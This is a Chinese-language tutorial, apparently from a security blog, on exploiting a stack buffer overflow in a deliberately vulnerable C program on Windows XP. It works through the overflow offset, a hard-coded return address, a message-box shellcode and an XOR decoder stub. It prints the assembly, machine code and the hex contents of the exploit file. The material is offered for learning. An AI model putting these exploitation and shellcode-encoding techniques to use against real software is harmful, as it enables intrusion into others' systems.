Windows Shellcode 学习笔记——shellcode 在栈溢出中的利用与优化
0x00 前言
在 《Windows Shellcode 学习笔记——shellcode 的提取与测试》 中介绍了如何对 shellcode 作初步优化,动态获取 Windows API 地址并调用,并通过程序实现自动提取机器码作为 shellcode 并保存到文件中。
弹框实例 shellcode 的 bin 文件已上传至 github,地址如下:https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin
注:shellcode.bin 由 getshellcode.cpp 生成
getshellcode.cpp 地址如下:https://github.com/3gstudent/Shellcode-Generater/blob/master/getshellcode.cpp
接下来,要研究 shellcode 在具体环境中的使用和优化技巧
0x01 简介
先从最入门的缓冲区溢出开始
本文将要结合《0day 安全:软件漏洞分析技术》中的“栈溢出原理与实践”章节,以其中的栈溢出代码作样本,优化我们自己生成的弹框实例 shellcode,实现在栈溢出中的初步利用。
0x02 相关概念
栈区:
用于动态地存储函数之间的调用关系,以保证被调用函数在返回时恢复到母函数中继续执行
特殊寄存器:
ESP:栈指针寄存器(extended stack pointer),指向栈顶
EBP:基址指针寄存器(extended base pointer),指向栈底
EIP:指令寄存器(extended instruction pointer),指向下一条等待执行的指令地址
函数代码在栈中保存顺序(直观理解,已省略其他细节):
- buffer
- 前栈帧 EBP
- 返回地址
- ESP
函数栈溢出原理(直观理解,已省略其他细节):
正常情况下函数在返回过程中,最后会执行返回地址中保存的内容,通常是跳到下一条指令的地址
如果 buffer 长度过长,长到覆盖了返回地址的值,那么函数在返回时,就会执行被覆盖的内容
如果将 shellcode 保存到 buffer 中,覆盖的返回地址为 shellcode 的起始地址,那么,shellcode 将得到执行,完成栈溢出的利用
0x03 栈溢出实例测试
样本代码如下:
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
int main()
{
int valid_flag=0;
char password[1024];
FILE *fp;
LoadLibrary("user32.dll");
if(!(fp=fopen("password.txt","rw+")))
return 0;
fread(password,56,1,fp);
valid_flag=verify_password(password);
if(valid_flag)
{
printf("wrong\n");
}
else
{
printf("right\n");
}
fclose(fp);
return 0;
}
注:代码选自章节 2.4.2 中的实验代码,作细微调整 其中 fscanf(fp,"%s",password) 在遇到空格和换行符时结束,如果 shellcode 中包含空格(0x20),会被截断,导致读取文件不完整
因此,将其替换为 fread(password,56,1,fp);
数组 password 长度为 56,数组 buffer 长度为 44,在执行 strcpy(buffer,password);时存在栈溢出
根据函数栈溢出原理,实现栈溢出需要以下过程:
(1) 分析并调试程序,获得淹没返回地址的偏移
(2) 获得 buffer 的起始地址,根据获得的偏移将其覆盖返回地址,使得函数返回时执行 buffer 起始地址保存的代码
(3) 提取弹框操作的机器码并保存于 buffer 的起始地址处,在函数返回时得到执行
测试系统:Win XP
编译器:VC6.0
build 版本: debug 版本
(1) 分析并调试程序,获得淹没返回地址的偏移
可在 password.txt 中填入 56 个测试字符,使用 OllyDbg 打开程序,定位到函数返回地址
如图
返回地址刚好被覆盖
(2) 获得 buffer 的起始地址并覆盖返回地址
如图
获得 buffer 的起始地址: 0012FB7C
注:在不同系统下 buffer 的起始地址不同
使用 0012FB7C 覆盖返回地址,即 password.txt 的 53-56 位的十六进制字符为 7CFB1200(逆序保存)
(3) 提取弹框操作的机器码
参照《0day 安全:软件漏洞分析技术》中的方法,使用 Dependency Walker 获取 ueser32.ll 的基地址为 0x77D10000 MessageBoxA 的偏移地址为 0x000407EA
如图
因此 MessageBoxA 在该系统上内存中的入口地址为 0x77D10000+0x000407EA=0x77D507EA
替换书中 MessageBoxA 对应函数入口地址的机器码
最终 password.txt 内容如下(十六进制视图):
00000000h: 33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 ; 3 跾 hwesthfail 嬆 S 00000010h: 50 50 53 B8 EA 07 D5 77 FF D0 90 90 90 90 90 90 ; PPS 戈.誻袗悙悙? 00000020h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙 00000030h: 90 90 90 90 7C FB 12 00 ; 悙悙|?.
最终程序运行如图,栈溢出在我们的测试系统上触发成功
0x03 弹框实例 shellcode 在栈溢出的优化
上节简单介绍了一下栈溢出实例的原理和操作方法,本节将要介绍如何优化我们自己开发的 shellcode,即弹框实例 shellcode,结合具体漏洞,实现利用
弹框实例 shellcode 下载地址:https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin
shellcode 长度 1536
(1) 修改实例程序,使其数组足以保存我们的 shellcode
完整代码如下:
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[1556];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
int main()
{
int valid_flag=0;
char password[2048]={0};
FILE *fp;
if(!(fp=fopen("password2.txt","rb")))
return 0;
fread(password,1568,1,fp);
valid_flag=verify_password(password);
if(valid_flag)
{
printf("wrong\n");
}
else
{
printf("right\n");
}
fclose(fp);
return 0;
}
buffer 长度增大到 1556,用于保存弹框实例 shellcode
根据上节实例,淹没返回地址的偏移 9-12,因此 password 的长度增加到 1556+12=1568
(2) strcpy 遇到字符 00 会截断
如图
弹框实例 shellcode 在 00000009h 处字符为 0x00,strcpy 在执行时遇到 0x00 会提前截断,导致 shellcode 不完整,无法覆盖返回地址
所以,需要对 shellcode 进行编码
为方便读者理解,参照《0day 安全:软件漏洞分析技术》中 3.5.2 节的方法(此章节有详细说明,不再赘述过程):
- shellcode 尾部添加结束字符 0x90
- 将 shellcode 逐字节同 0x44 作异或加密
- 汇编实现解码器并提取机器码
- 解码器的机器码放于 shellcode 首部
- 解码器将 EAX 对准 shellcode 起始位置,逐字节同 0x44 异或进行解密,遇到 0x90 停止
解码器的汇编代码如下:
void main()
{
__asm
{
add eax,0x14
xor ecx,ecx
decode_loop:
mov bl,[eax+ecx]
xor bl,0x44
mov [eax+ecx],bl
inc ecx
cmp bl,0x90
jne decode_loop
}
}
使用 OllyDbg 提取出机器码如下:"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x90\x75\xF1"
新的 shellcode 格式如下:解码器机器码+加密的弹框实例 shellcode+0xD4+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"
注:
- 0x90^0x44=0xD4,0xD4 即编码后的结束字符
- "\x90\x90\x90\x90\x90\x90\x90"为填充字符串,无意义
- "\x7C\xFB\x12\x00"为覆盖的函数返回地址
(3) 0xD4 冲突
如图
弹框实例 shellcode 中也包含结束字符 0xD4,解密时 shellcode 会被提前截断,所以需要选择一个新的结束字符
当然也可以对 shellcode 分段加密,针对此 shellcode,恰巧 0xD5 未出现,因此使用 0xD5 作结束字符串即可,解密字符为 0x91
修改后的机器码如下:"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x91\x75\xF1"
修改后的 shellcode 格式如下:解码器机器码+加密的弹框实例 shellcode+0xD5+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"
(4) shellcode 编码测试
编写程序实现自动读取原 shellcode,加密,添加解密机器码,添加结束字符
程序已上传至 github:https://github.com/3gstudent/Shellcode-Generater/blob/master/enshellcode.cpp
执行后如图,产生新的 shellcode 文件,并在屏幕输出 c 格式的 shellcode
使用如下代码,结合屏幕输出 c 格式的 shellcode,替换数组内容,对新的加密 shellcode 测试
由于代码较长,所以上传至 github,地址如下:https://github.com/3gstudent/Shellcode-Generater/blob/master/testenshellcode.cpp
如图,shellcode 执行,成功实现解码器
(5) 新 shellcode 在栈溢出中的测试
填上解码器机器码,完整的 shellcode 格式如下:"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x91\x75\xF1"+加密的弹框实例 shellcode+0xD5+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"
在栈溢出测试程序中仍然报错,使用 OllyDbg 加载继续调试
如下图,成功覆盖函数返回地址,接着按 F8 进行单步调试
如下图,此时发现异常,EAX 寄存器的值为 909090D5,正常情况下 EAX 的值应该为 Buffer 的起始地址,这样才能成功找到 shellcode 并对其解密
而寄存器 EDX 却保存了 Buffer 的起始地址
所以,我们需要对解码器作修改
(6) 修改解码器
选择一个最简单直接的方法,将 EDX 对准 shellcode 的起始位置,实现的汇编代码如下:
void main()
{
__asm
{
add edx,0x14
xor ecx,ecx
decode_loop:
mov bl,[edx+ecx]
xor bl,0x44
mov [edx+ecx],bl
inc ecx
cmp bl,0x90
jne decode_loop
}
}
在 OllyDbg 中加载程序并提取机器码,如图
新的解码器机器码为:"\x83\xC2\x14\x33\xC9\x8A\x1C\x0A\x80\xF3\x44\x88\x1C\x0A\x41\x80\xFB\x91\x75\xF1"
最终的 shellcode 代码为:"\x83\xC2\x14\x33\xC9\x8A\x1C\x0A\x80\xF3\x44\x88\x1C\x0A\x41\x80\xFB\x91\x75\xF1"+加密的弹框实例 shellcode+0xD5+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"
完整 shellcode 代码已上传至 github,地址为:https://github.com/3gstudent/Shellcode-Generater/blob/master/stackoverflowshellcode.bin
再次测试栈溢出,如图,shellcode 成功执行
由于 shellcode 是我们自己实现的动态获取 API 地址,所以栈溢出测试程序中的 LoadLibrary("user32.dll"); 可以省略
0x04 小结
本文对栈溢出原理作了简要描述,着重介绍了在具体的栈溢出环境下,shellcode 的优化、调试和利用技巧,当然,上述 shellcode 存在一个不足:shellcode 在内存中的起始地址往往不固定,导致漏洞利用不一定成功
下一篇文章将要解决这个问题。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论